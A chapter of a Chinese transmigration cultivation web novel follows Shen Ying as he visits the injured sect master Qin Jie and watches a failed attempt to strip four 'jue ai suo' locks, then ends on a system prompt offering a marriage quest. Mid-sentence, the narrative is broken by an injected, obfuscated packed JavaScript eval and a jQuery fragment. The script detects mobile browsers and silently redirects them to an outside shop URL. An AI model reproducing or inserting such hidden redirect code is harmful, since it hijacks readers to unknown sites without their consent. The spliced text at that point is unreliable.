沈缨隔天一大早就醒来了,刚起来时还迷迷糊糊地找了半天厨房,嘴里嘟嘟囔囔:“我要吃包子,我昨晚包了两屉香菇白菜馅儿的,我包子呢?灶台跑哪去了?”
他稀里糊涂地转了一会才清醒,拍着脑袋直摇头。
待收拾好自己,沈缨去看望秦戒,出门不久就看到周无戎。他压根不打算用周无戎的令牌叫他过来,谁知道这狼崽子这么殷勤,又热切又乖巧。
他心里很不是滋味,心想,我还没欺负他呢,我就已经愧疚了,爷爷的,好像搞起了预制菜。
待到秦戒的洞府,远远就看到一个少年人守在那里,沈缨的注意力才转移了。
守在那儿的自然是秦戒的首徒楚放,这位原书主角攻笔直笔直地杵在那当门神,衣冠整洁了,不像昨天那样狼狈。
他也穿着问天宗专属的灰白道衫,不过右臂的衣服上用紫线刺绣了一条游龙,发髻也用了个龙首紫玉冠束着,因为喜欢紫色和龙族,于是改起了自己的校服,骚包地搞特殊。
大清早就看见一块望妻石,沈缨一看楚放这样就想笑。
周无戎主动上前去打招呼:“大师兄,早上好,你身体还好吗?昨天看你……”
“濯沧!”楚放一听声音就转身来打住,叫的是周无戎在来问天宗前的狼妖本名,“嘘,别说这个,在师尊面前更别提我昨天动了通天鼎的事,师尊昨天气得想打我,我一躲,他更气了,血都吐了。”
沈缨听完这逆徒攻的话,心里蛮不讲理地想,你小子躲什么躲?你老婆想打你你就站直了挨揍,再说了那哪是打,明明是奖励!
“啊,见过沈前辈,您早上好!”楚放见他来了立即问好,一张脸洗洗刷刷干净了,比昨天英俊了不少,意气风发,烈日骄阳。
“不用客气。”沈缨摆摆手,把嫌弃之情按下去,“你怎么不进去,你师尊还好吗?”
“是这样,我师伯为我师尊护法一整夜了,不让我打扰,我只好在门口等着。”
楚放为自己挽尊,然而他话音刚落,他师伯秦尚的低音炮就从洞府里传了出来:“沈道友,快请进。”
楚放马上传声进去:“师伯,我也——”
秦尚直接打断他:“无戎,带你师兄回他的住所去,看好他别乱跑。”
周无戎应了声是,先看了一眼沈缨,继而无奈地看向楚放:“大师兄,先回去吧。”
楚放不甘心:“不,我要继续在这里守着,我实在放心不下师尊。”
沈缨心里乐不可支地想,你老婆嫌你闹腾喽,不想见你喽,年下就是黏人,太黏就要挨骂,自个悟去吧。
他理理衣服,越过他俩往洞府里走,抬头挺胸的。
周无戎此时和楚放关系一般,只能尽量用嘴皮子劝滚:“师尊有大师伯和沈仙长照顾,师兄还是回去休息为好,不然等到师尊康复了要召见你,师兄却体力不支,岂不是因小失大了?”
说着他用别人分散楚放的注意力:“要不我们去看望小师弟?”
沈缨人已经走进洞府几米了,听到周无戎说“小师弟”三个字,身体一下子僵住,血往心房里猛泵,心跳声清晰可辨。
周无戎口中的小师弟,是秦戒的第三个徒弟,大名周书成,字耕笔,他也是孤儿,从记事到死亡都不知道父母是谁。
这是沈缨看书时第二喜欢的角色。
周书成的人设特殊,他根骨奇佳,从小就容易灵魂出窍,魂魄以透明灵体状态漂浮在肉|体躯壳周围,只要躯壳还在,他就可随心所欲地归魂或离魂。
因是孤儿,他在人间只能以乞讨为生,又因年纪小身体弱,被一个乞丐窝收了去,两条腿都被打断了,爬在街道上以伤赚同情钱。直到不久前秦戒路过人界把他捡回宗门,他的日子才算好过起来。
来到问天宗后,周书成很快学会了引灵气入体,并开创了修真界第一例以游魂入道的修炼模式。
按照原著里的时间线,周书成现在正在参悟修道的修炼中,身体沉睡,魂魄在云海上打坐,因为超脱物外,这会他根本不知道秦戒受伤到濒死。
周无戎提议楚放去看他,只是去看他沉睡的瘦小身体。此刻他好像表现得同门兄友弟恭,谁能想到后来的后来,他入魔黑化,毫不留情地杀了周书成,毁他肉身不说,还将他的魂魄撕碎,令其再无往生轮回。
沈缨僵在原地,得有五秒才缓缓回神,忍一忍就控制住了回头拧周无戎的冲动,他继续往洞府里走,这会子还是瞅瞅秦戒比较重要。
*
沈缨快走到里面时,先看见了一阵金光,秦尚一看到他就招手:“沈道友,这边!”
“诶!来了!”
应得太顺口,沈缨差点把惯性的“上菜了”给顺溜地喊出来。
他抿着嘴小跑过去一看,只见秦戒闭着眼打坐,脸色依然不太好,昨天匆匆一瞥的青铜通天鼎此刻就漂浮在他身前,缩小到皮球大小,闪烁着金光滴溜溜地转个不停。
秦尚挂着一对黑眼圈,严肃端正、气势如虹地请他坐下:“沈道友,坐。”
沈缨干笑:“不用不用,谢谢谢谢。”
他扭头继续看秦戒,忍不住两手交握,又紧张又激动地搓手,他可太知道秦戒接下来身上会发生什么了。
不过十来秒的功夫,秦戒指节修长的双手就快速地结起印来,闭着眼睛低声:“现!”
金光大作,黑光骤显,四道狰狞的漆黑罡风从秦戒身上爆发出来,锁链一样凝固在他的体表之上。
秦戒睁开眼睛,灰色的瞳孔变成銮金色:“破!”
通天鼎转得更快了,这件在原著里大名鼎鼎的问天宗镇门之宝,此时已经被转成一个大陀螺了。
显而易见的,秦戒想借助通天鼎这件法宝,把自己身体里潜伏的黑色罡风“拽”出来、再“扯”出去。
更显而易见的,他失败了。
四道罡风没被驱散,反而像拉紧的皮筋一样,被拽离秦戒身体一米开外之后,又狠狠反弹了回去。
秦戒就像被四根大皮筋抽了,疼得控制不住颜表,皱着脸直抽气。
秦尚顶着黑眼圈、黑着大爹脸伸手施法,把还在滴溜溜转的通天鼎收回来,也顾不上有沈缨这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195345|150810||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个外人在场了,鼎到手就往地上扔,气骂道:“垃圾!什么宗门之宝,催动一夜了,莫说疗愈,就连剥离四道‘绝爱锁’都办不到,垃圾!”
不过气归气,作为一个优秀的大哥爹,情绪管理自然不在话下,他很快恢复过来,把通天鼎往地上砸完之后又立马捡起,迅速用袖口把鼎的四个面都擦干净,四根鼎腿儿都擦得锃光瓦亮。
沈缨:“……”
秦戒:“……”
秦戒也有点绷不住:“兄长,你已经因为我而奔波多日,要不先去休息吧。”
秦尚横刀立马地坐下,手掌“啪”的一下按在通天鼎上:“不用!”
秦戒只好看向沈缨,眼睛里的銮金色慢慢褪去:“沈道友,你请坐,昨天初见仓促,今天再见更仓促,是我们待客不周,让你见笑了。”
沈缨忙不迭摇头,坐到离秦戒最近的地方,搓搓手问他好不好。
刚才秦尚冲通天鼎泄愤时说的“绝爱锁”,他知道那是啥玩意儿,也知道怎么解。
之前他看原著时,看到跟绝爱锁有关的情节就一直桀桀笑。
这东西说危害也不怎么危害,论杀伤力其实也不怎么大,绝爱锁只是秦戒这次重伤里的轻伤,麻烦的是它一捆缚在修士身上,就会潜行灵脉中,会阻碍修士的自愈进程,只有所爱之人才能将其剥离下来。
秦戒身上的这四道绝爱锁……当然是后来他那逆徒攻剥出来的。
剥的过程很黄色,很刺激肾上腺激素,是一众《压师》读者盖章的双A景区。
不过那是后话了,在原著里的这个时期,秦戒根本还没察觉到他跟他逆徒的感情,他急于想剥离这操蛋东西,因此在沈不寻提出和他结为道侣的时候,他抱着试试的态度答应了。
秦戒脸色苍白地向他抱拳:“我没有大碍,只是……只是接下来还要拜托沈道友,施展疗愈圣术了。”
沈缨二话不说伸手握住他的手腕,心里咬帕子,感叹电子崽子救世又卖色的不易,脸上则做大义凛然状:“秦宗主,你不用客气的!能疗愈你是我的荣幸!”
肢体接触,银丝涌流,秦戒低下头来,灰色的眼睛没有光彩,他失魂落魄地喃喃:“对不起,给你们添麻烦了。”
沈缨心揪起来,书里写过多次秦戒性格里的要强,他绞尽脑汁地想安慰两句,就听背后又传来“轰”的一声,紧接着,秦尚又在骂通天鼎“垃圾”了。
秦戒失笑,打起精神,反过来安慰他哥:“兄长,无碍的,我还活着已经是大幸了。”
说着他看向沈缨:“沈道友,我昨夜从兄长口中得知了你的身世和处境,倘若你无处可去,愿意留在问天宗,我秦戒在世一日,就替你遮一日风雨;倘若你欲往他乡,无论是三界何处,我都一路护送到底,千里万里,义不容辞。不知沈道友如何作想?”
沈缨头皮一麻,抬眼一看,就在悠悠的银丝浮光里和秦戒对视。
他结巴住了:“我……我……”
系统好死不死地出来凑热闹:【时机恰到好处,亲爱的小缨,要开启第三个任务吗?邀请他结婚吗?】